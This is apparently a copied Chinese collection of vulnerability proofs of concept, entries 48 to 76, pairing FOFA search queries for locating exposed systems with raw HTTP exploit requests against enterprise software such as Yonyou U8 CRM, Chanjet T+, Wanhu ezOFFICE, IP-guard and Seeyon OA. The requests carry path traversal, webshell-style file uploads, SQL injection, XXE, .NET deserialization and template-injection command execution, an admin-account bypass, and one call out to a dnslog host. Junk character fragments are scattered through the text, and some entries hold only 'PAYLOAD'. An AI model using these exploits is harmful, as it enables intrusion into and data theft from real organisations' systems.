! V4 M- v9 M5 g  E9 V! ZGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
" [. f* {. z) f) ^Host: x.x.x.x
! C$ Q( f% `$ K- s, [5 l1 j8 V* @Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
( R3 N$ c/ j& H; L6 E& ^0 pIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
: S5 K2 G3 _' T6 M8 d! r' Y
. B" f, O! h  l

7 q- `# `- W* k: B5 M2 f48. 用友U8 CRM swfupload 任意文件上传
5 h( L) I" i6 h9 T# I! p' FFOFA：title="用友U8CRM"
' P$ y1 i/ X- H' _) S7 p' n9 d, s9 fPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
2 R8 e' K) \1 N, @( j1 w1 e& kHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
5 }& w2 L% N* Q' }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- ~3 v* k" V) ^2 o' e+ N1 JAccept-Encoding: gzip, deflate
7 n* k% m6 L7 c! bContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
/ F7 y/ P* e# b! h* F------269520967239406871642430066855
& _5 {% ]* I: B+ o# W: J8 FContent-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
4 W6 a( |+ I! I7 `$ v: H------269520967239406871642430066855
( i3 [0 U+ S2 \" _' B& {" lContent-Disposition: form-data; name="upload"
" p: f* Y! _3 }+ J, f& c! T0 m( {upload
------269520967239406871642430066855--
- n( {# p; L  h7 O& H- k, O

: G3 P  d2 G1 g7 n49. 用友U8 CRM系统uploadfile.php接口任意文件上传
. _% e( z9 D- C& ~+ T$ qFOFA：body="用友U8CRM"
8 v% f) R: T. Y" y
4 a" G2 x. r9 I4 ~POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
+ K2 ~6 [6 V' y: d! ]Host: x.x.x.x
/ H$ \5 O& M1 `& Q7 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& b- s4 [; j0 R4 {9 Q8 Q& jAccept-Encoding: gzip, deflate
; ?/ I; I" M2 S& hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

# K1 W, L1 G; l& [-----------------------------vvv3wdayqv3yppdxvn3w
4 L# l$ [* ~1 P+ L5 o" Z6 R6 \1 m& GContent-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

+ v/ j( b2 E! R- ?! lwersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
) H" i2 l8 [* `# cContent-Disposition: form-data; name="upload"

upload
-----------------------------vvv3wdayqv3yppdxvn3w--
5 k/ e1 o/ u* |$ Z% q

http://x.x.x.x/tmpfile/updB3CB.tmp.php
% Y# f  k& j( k. q1 L4 ]
5 U# B% L7 n; i3 v5 c50. QDocs Smart School 6.4.1 filterRecords SQL注入
2 q0 U9 V1 H1 `. r- d  M2 o$ YFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
: S* {. G2 s" R" }2 _Connection: close
Content-Length: 224
Accept: */*
Accept-Language: en
7 U+ m$ w3 t3 j6 oContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
' @4 _. C2 e+ S* K2 }" f6 M% c7 h
3 h& ?* a; O1 J% \searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
$ ]0 C. l1 ]5 [
! G8 o& M  p6 `+ u9 i2 [
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
/ p7 z8 a. ?9 lFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
( P0 E2 C# ~+ s+ s1 i5 \8 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+ U+ j- }4 S' U5 d0 n6 fAccept-Encoding: gzip, deflate
" r7 [% g2 a% m2 pAccept-Language: zh-CN,zh;q=0.9
Connection: close


4 l( N2 }& z$ R7 ^3 M52. 泛微E-Office json_common.php sql注入
! w' `$ w7 R* ?- U/ O, VFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
; M8 H7 K+ g/ `6 mHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
Accept: */*
0 e7 |8 _5 W* LAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

8 ?- a0 ^* f% H: g2 X( ptfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


$ m: m! s, f- a53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
) ^( q0 w! }# [' ~/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
6 F0 m( e  u* G+ a# e6 L: y

; |- _' }, A; |$ V/ r54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

/ ^3 h- |" J" _* l& {, H
, Y/ }( }# N% ?" c7 c- F% c% _+ e完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
+ ^/ ~6 \: f" F9 d/ z% kContent-Length: 593
$ U* R/ M- D. x: o- k) b
& M& M+ ]* P: k- o' ]! a{
8 M" g& w% ?, X- A* A"storeID":{
3 g1 h/ R9 |: z "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
- P. ?$ E: n  Z& ^* \6 {( N7 [$ x: F: H "MethodName":"Start",
  "ObjectInstance":{
3 K+ t+ v- [) q; `2 W9 L# s   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
2 F" E! u" Y; Y0 ]& f    "FileName":"cmd",
& u1 c2 ^% o! U5 N4 {, @' @' @5 o2 A    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
4 n; Q% x! c! ?7 I1 d7 O3 P# d    }
9 n) H: ?) ~6 k2 u  }
0 I" R" T( i4 p& L6 ~  N$ t# d  }
1 q; _3 k* M: o, i5 I}

; T) d( C2 o- f$ n. `) m
# G# B- e/ \; C  R第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


4 o  B: T, ^. N' Y55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
1 E- k5 n! u; g3 a( x
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
! I$ C- `/ F- r4 K3 M+ W/ lFOFA: app="畅捷通-TPlus"
2 q) u  P% ^1 F7 \* GPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
- R  J3 M7 {$ _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
, U* l% D8 L" r
{
4 |+ F* ]" X# v/ I0 U  "storeID":{
( a% M- G# u+ N( @) ~) n. D0 s    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  Y$ W# E% w4 X$ ^& T   "MethodName":"Start",
    "ObjectInstance":{
8 n; h& x/ @) O       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
) T. u9 l/ ]2 y1 f' o* H        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
- h/ |0 v3 B$ K" ?: a: q& A    }
  }
}
" D+ d) \* X! B8 [9 a
3 X( o& @" R1 I: E0 I/ H
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
: b" Q+ C2 y1 K0 D0 y8 RGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
% ^6 D; Q0 K" L- s" }8 |/ j* ]Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
7 d  @* d" S: J7 N1 A6 xAccept-Encoding: gzip, deflate
Connection: close


58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
% w: z# ?0 {4 j+ `! m- a7 c& oHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
6 k2 p& a# r3 }% d8 OAccept-Charset: utf-8
" l7 b# H- f* v7 h. L' wAccept-Encoding: gzip, deflate
Connection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
4 L' y3 F9 o. r3 q5 x, @. ZFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
, w3 h0 O! K1 J8 D7 a' BPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
- J- ^) F. V' C, o  D+ V: DConnection: close
# n* F# k; D! v, N8 }% VContent-Length: 1669
1 o, V: V. a( x$ DAccept: */*
Accept-Language: en
# K8 m- L; R. _$ pContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
1 l% l. q- X& D4 X/ L# `9 x! i3 |: u
) ]* [' m: c# W" vPAYLOAD


60. 百卓Smart管理平台 importexport.php SQL注入
1 S  R' q) X: ^) u! VFOFA：title="Smart管理平台"
# c% T0 v- J' R( T; RGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
. ~# u2 ^0 ?) O! ]' ~- u  qHost:
' @( b% [7 ~! m/ H5 n2 M) {8 ?) ], v* R/ UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 i$ o: ?+ e) V3 QAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


( o' W. Y4 L- Z/ X% t61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
& E( Y* o: E& [% ^0 l0 A4 _FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
0 g2 D. K) K+ _' y/ XHost: x.x.x.x
! Y1 d) t& `2 k8 H0 b8 H5 |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
1 q- M4 G9 P6 R# e9 P* cContent-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
8 \7 d8 L+ n" m3 mAccept-Language: en
' T# x" Y) ?9 D+ G/ O0 iContent-Type: application/x-www-form-urlencoded
- L" ]# Y$ Z; g/ l7 A
* @9 L  S1 ~& g$ b% R: A+ P0 @8uxssX66eqrqtKObcVa0kid98xa
% ~- ^' f1 I5 H
' c8 s8 q' k. p) i! |' k9 z, m) e7 t
! X8 `( w5 n1 Z' {62. IP-guard WebServer 远程命令执行
2 z* M" j9 D, E1 rFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
5 c' k) T0 u$ eHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
% M+ X9 Q2 n* {7 ~Accept: */*
Accept-Language: en
( M6 O8 t6 L" p3 v9 x7 OAccept-Encoding: gzip
; g- i7 F# }8 S& Z

& }7 [# V- d- `# ]! _访问
! N) D. S. }  j: _6 o
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
; N6 ]7 ?" Y5 V7 F

! F7 ^$ o$ [7 ?# a3 n4 W63. IP-guard WebServer任意文件读取
8 J& ]9 h+ t  Z4 ?4 e% t' aIP-guard < 4.82.0609.0
, j1 t, b5 S" U# b; F  X! SFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
* ^3 o1 B5 _/ X) {6 c2 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 f! h8 e8 B! W  n1 k6 ]  P# VAccept-Encoding: gzip, deflate
+ n% w' x; H2 Q" q" \' i. L: oAccept-Language: zh-CN,zh;q=0.9
! n  w+ z" s2 o4 r$ W4 e5 g# ^Connection: close
Content-Type: application/x-www-form-urlencoded
: T. I: t) j$ c7 x' T
& [  x5 D4 Y; G8 c2 m, F6 q3 Ypath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

$ j5 Y. j0 j8 l! [- {# H6 [64. 捷诚管理信息系统CWSFinanceCommon SQL注入
! {2 d; j+ Y; [/ F( l/ `FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
2 ?  g# h- g4 ?0 VHost: 192.168.86.128:9001
5 y, v$ U/ C0 p: _. y5 I1 [; HUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
3 `4 n  N! Z0 a- \9 FConnection: close
Content-Length: 369
. m" S$ B& P, ^6 aAccept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
( C0 M. R' N$ k7 yAccept-Encoding: gzip
( ^" `" x# k7 z1 b) v  [6 K
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
$ P5 ]0 _) q) E$ H- Q- o& l- o    <GetOSpById xmlns="http://tempuri.org/">
9 K- W) m; C4 _      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
5 y8 D' r) }' O5 ]& b( T' L: w  </soap:Body>
- m' o' d. M+ b/ Z. h; n) [</soap:Envelope>
/ }) O6 Z4 @# V  k6 O8 J& R

  [8 z0 ^0 A6 T65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
" G" k9 u* V% x( y: C* F! d+ b! VPOST /SystemMng.ashx HTTP/1.1
, `3 f5 y$ s& m# ZHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
3 n. N! A$ S. o  y$ H. `) j/ wAccept-Encoding: gzip, deflate
Accept: */*
: u8 h$ W( n" N; P1 Y  n! QConnection: close
: @# |$ e  ~1 f6 LAccept-Language: en
0 D; i" a; w( K/ z. H% D; ?* eContent-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
# U8 ~$ `+ L/ e0 F. C2 q, x

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
$ U& v. r% ?# j6 [" }2 ?FOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
* k8 _1 ]2 g( l$ h" U8 {8 Z- b1 _Host: x.x.x.x
, G* V5 j6 D- |* rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
, F, C8 a4 A6 A4 s! T4 |Accept: */*
Accept-Language: en
Accept-Encoding: gzip


第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

* h5 B7 s3 K6 L, h  H67. 万户ezOFFICE wpsservlet任意文件上传
  O& ~  {4 n2 C4 _FOFA：app="万户网络-ezOFFICE"
; `$ H  f3 P& |/ E) R- PnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
. J' S2 z" t" O# Q2 g$ vUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
6 h2 w" I! o3 `& iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
& ~5 u5 ~1 K8 B9 \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
. k8 f3 `9 D4 PConnection: close
, N" q8 G/ U4 x/ J  F7 QContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
  J% R6 s2 Z& H+ O$ h( L1 v, W+ p3 \
+ X* k7 |$ ~4 i8 J: G, V--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--

, b- @( [0 U0 k0 z+ `
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

, u& P8 P6 Z# x7 j  O5 J/ s68. 万户ezOFFICE wf_printnum.jsp SQL注入
2 o" ?6 H/ M) D( WFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
2 |9 R- D; J& @Host: {{host}}
  `* v: m! n6 b; A1 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 Q) U: U* b7 [5 xConnection: close
: @/ ]- I* i4 a( M( s! v2 a

69. 万户 ezOFFICE contract_gd.jsp SQL注入
7 \4 c; u: e! Z: W8 c$ jFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
" A/ w" N7 j+ @: d7 kAccept: */*
- U0 X2 b3 T6 LConnection: keep-alive


/ h3 y/ g+ C' c, M, n0 L0 y" o4 \70. 万户ezEIP success 命令执行
3 e& K" h. P2 ^8 s; RFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
0 R) _" ]% L' [- w5 wHost: {{Hostname}}
1 ?' x! Z0 P7 P/ U$ kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
- c+ r% {" X  w  v7 a2 J* xContent-Type: application/x-www-form-urlencoded
TYPE: C
; {1 j" u; }+ oContent-Length: 16702
! F; o" J6 F: _/ ^3 {, Z/ w
__VIEWSTATE=PAYLOAD

6 j5 ~' i/ |& T3 U
3 E+ w! h8 I/ t71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
( \" e6 E0 D" aHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 s9 }' J" C$ @- @) A* BUpgrade-Insecure-Requests: 1

$ G6 z6 x! J! I) Z7 z
72. 致远OA getAjaxDataServlet XXE
6 ]  t# E  G" L6 X0 z- @FOFA：app="致远互联-OA"
7 i2 x6 C& ^6 A3 pPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
2 z3 O& F1 h- h% gHost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
% ]3 D3 r6 U/ n6 \5 v  H/ n* BContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
+ k6 r( [  O3 F4 |% Z$ Z4 s3 }
/ j3 }1 o! b8 f) P+ S2 x8 xS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
& g+ N& T4 J1 l* e$ F2 }+ V

3 a( b7 v7 Y# q/ K73. GeoServer wms远程代码执行
$ k1 o9 _; y3 {- AFOFA：icon_hash=”97540678”
: Y5 G: H( D( G, c) Q% d/ j& f) L. FPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
1 _* R, `& Q7 z7 NAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
: X% S/ c* r4 ?, [" z% B. j9 O$ a8 z2 O: SSL-CE-SUID: 3
- q5 F9 {: ]6 }$ r$ L" w
PAYLOAD
  K2 E, P8 v( h; H' Q
( {: K8 ]7 w- d9 b( f5 P5 u$ @5 H
) j% s5 [# u8 J/ D74. 致远M3-server 6_1sp1 反序列化RCE
8 f6 g* f7 W/ Y$ o4 w$ y2 x0 w, KFOFA：title="M3-Server"
PAYLOAD
7 n9 r6 A& T4 q. K% q3 E! }4 k
7 I! T7 f6 `8 J! ?' |3 w; Q9 a! O75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
, K! F7 `3 ~6 D/ S: n2 s( l; G* }0 c1 hFOFA：app="TELESQUARE-TLR-2005KSH"
* L3 A( E/ y" \9 IGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
8 }; T6 h& n' T7 S+ E5 EHost: x.x.x.x
6 ~% N" l% b2 y1 Y- K* t  YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
3 N+ w: r7 N; kAccept: */*
8 ]+ p2 ^( i; U" p3 \' m- lAccept-Language: en
Accept-Encoding: gzip
+ u) H- Y% \4 @, S( J! q" v

( y- @& `3 K+ n/ T' lGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x


76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
3 G# y6 Z3 c  A. AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
  y& f% d* U: G3 _Connection: close
( I" I2 m' {0 A" TContent-Length: 211
. X7 ?( x5 W: a% z, qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) F6 U  E1 V$ DCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

{
% g8 P2 Z  a4 ]4 K) o. q"command": "GetFZinfo",
5 N9 ~5 D/ d5 H2 h5 j5 W  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
$ Q: ]2 [2 |; I6 _/ k9 d2 z  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}


